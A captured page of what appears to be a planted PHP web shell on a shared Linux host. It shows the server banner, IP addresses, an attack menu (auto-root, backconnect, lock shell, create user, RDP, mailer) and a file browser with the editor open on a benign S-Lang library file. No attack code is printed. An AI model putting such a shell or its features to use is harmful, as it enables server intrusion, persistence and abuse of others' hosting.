Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
slsh /
[ HOME SHELL ]
Name
Size
Permission
Action
cmaps
[ DIR ]
drwxr-xr-x
help
[ DIR ]
drwxr-xr-x
rline
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
arrayfuns.sl
1.85
KB
-rw-r--r--
autoload.sl
460
B
-rw-r--r--
base64.sl
19
B
-rw-r--r--
chksum.sl
1.58
KB
-rw-r--r--
cmdopt.sl
7.58
KB
-rw-r--r--
csv.sl
16.35
KB
-rw-r--r--
fcntl.sl
35
B
-rw-r--r--
fork.sl
17
B
-rw-r--r--
fswalk.sl
2.36
KB
-rw-r--r--
glob.sl
2.42
KB
-rw-r--r--
histogram.sl
2.98
KB
-rw-r--r--
iconv.sl
35
B
-rw-r--r--
json.sl
5.97
KB
-rw-r--r--
listfuns.sl
3.04
KB
-rw-r--r--
onig.sl
17
B
-rw-r--r--
pcre.sl
1.21
KB
-rw-r--r--
png.sl
4.02
KB
-rw-r--r--
print.sl
7.61
KB
-rw-r--r--
process.sl
9.83
KB
-rw-r--r--
profile.sl
19.88
KB
-rw-r--r--
rand.sl
4.28
KB
-rw-r--r--
readascii.sl
5.24
KB
-rw-r--r--
require.sl
1.27
KB
-rw-r--r--
select.sl
37
B
-rw-r--r--
setfuns.sl
4.8
KB
-rw-r--r--
sldb.sl
2.11
KB
-rw-r--r--
sldbcore.sl
18.1
KB
-rw-r--r--
sldbsock.sl
7.43
KB
-rw-r--r--
slshhelp.sl
536
B
-rw-r--r--
slshrl.sl
9.23
KB
-rw-r--r--
slsmg.sl
35
B
-rw-r--r--
socket.sl
151
B
-rw-r--r--
stats.sl
15.07
KB
-rw-r--r--
stkcheck.sl
2.62
KB
-rw-r--r--
structfuns.sl
2.05
KB
-rw-r--r--
sysconf.sl
20
B
-rw-r--r--
termios.sl
39
B
-rw-r--r--
varray.sl
37
B
-rw-r--r--
zlib.sl
2.93
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : arrayfuns.sl
% Copyright (C) 2012-2017,2018 John E. Davis % % This file is part of the S-Lang Library and may be distributed under the % terms of the GNU General Public License. See the file COPYING for % more information. %--------------------------------------------------------------------------- define reverse (a) { #ifexists array_reverse a = @a; array_reverse (a); return a; #else variable i = length (a); if (i <= 1) return a; i--; __tmp(a)[[i:0:-1]]; #endif } define shift (x, n) { variable len = length(x); ifnot (len) return x; % allow n to be negative and large n = len + n mod len; return x[[n:n+len-1] mod len]; } % This routine rearranges an array according to a permutation. It % modifies the indices of the permutation array while running, but % preserves it upon return. This code is based upon % <http://gams.nist.gov/serve.cgi/ModuleComponent/11449/Source/ITL/DPPERM.f>. define rearrange (a, indices) { variable i, j, n = length (indices); if (__is_same (a, indices)) throw InvalidParmError, "The array to be rearranged must not be the same as the permutation."; % Check the permutation and make it 1-based _for i (0, n-1, 1) { j = indices[i]; if (j < 0) j = -(j+1); if ((0 <= j < n) && (indices[j] >= 0)) indices[j] = -indices[j]-1; else throw InvalidParmError, "Invalid permutation."; } _for i (0, n-1, 1) { if (indices[i] >= 0) continue; j = i; variable j0 = j; variable tmp = a[j0]; variable indices_j = indices[j]; forever { j0 = j; j = -indices_j-1; % back to 0-based indices[j0] = j; indices_j = indices[j]; if (indices_j >= 0) break; a[j0] = a[j]; } a[j0] = tmp; } } $1 = path_concat (path_dirname (__FILE__), "help/arrayfuns.hlp"); if (NULL != stat_file ($1)) add_doc_file ($1); provide ("arrayfuns");
Close
